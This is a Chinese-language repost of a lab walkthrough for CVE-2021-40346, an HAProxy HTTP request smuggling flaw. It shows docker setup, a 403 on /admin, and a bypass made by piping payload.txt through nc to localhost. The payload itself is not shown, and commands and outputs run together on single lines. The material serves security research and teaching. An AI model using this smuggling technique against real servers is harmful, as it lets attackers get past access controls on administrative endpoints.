docker启动
docker build -t cve-2021-40346 .docker run --name poc -p 8000:80 -d --rm -it cve-2021-403464941e9f23508b497e4cbe334a75e7cdb84c83478522ed85f48db3477f97a6fb4
测试：
确认/admin被拒绝。
$ curl http://localhost:8000hello$ curl http://localhost:8000/admin<html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
你不会/admin在日志中看到。这意味着请求没有到达后端服务器，因为 HAProxy 拒绝了它。
$ docker logs pocserver start at port 8000/
然后，您可以确保它可以被 payload.txt 绕过。
$ cat payload.txt | nc localhost 8000HTTP/1.1 200 OKcontent-type: text/plaindate: Wed, 08 Sep 2021 22:31:10 GMTkeep-alive: timeout=5transfer-encoding: chunked6hello0
你会/admin在日志中找到。
$ docker logs pocserver start at port 8000///admin
项目地址：
aHR0cHM6Ly9naXRodWIuY29tL2tucXlmMjYzL0NWRS0yMDIxLTQwMzQ2
本文始发于微信公众号（Khan安全攻防实验室）：CVE-2021-40346（HAProxy HTTP 走私）屁噢C
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论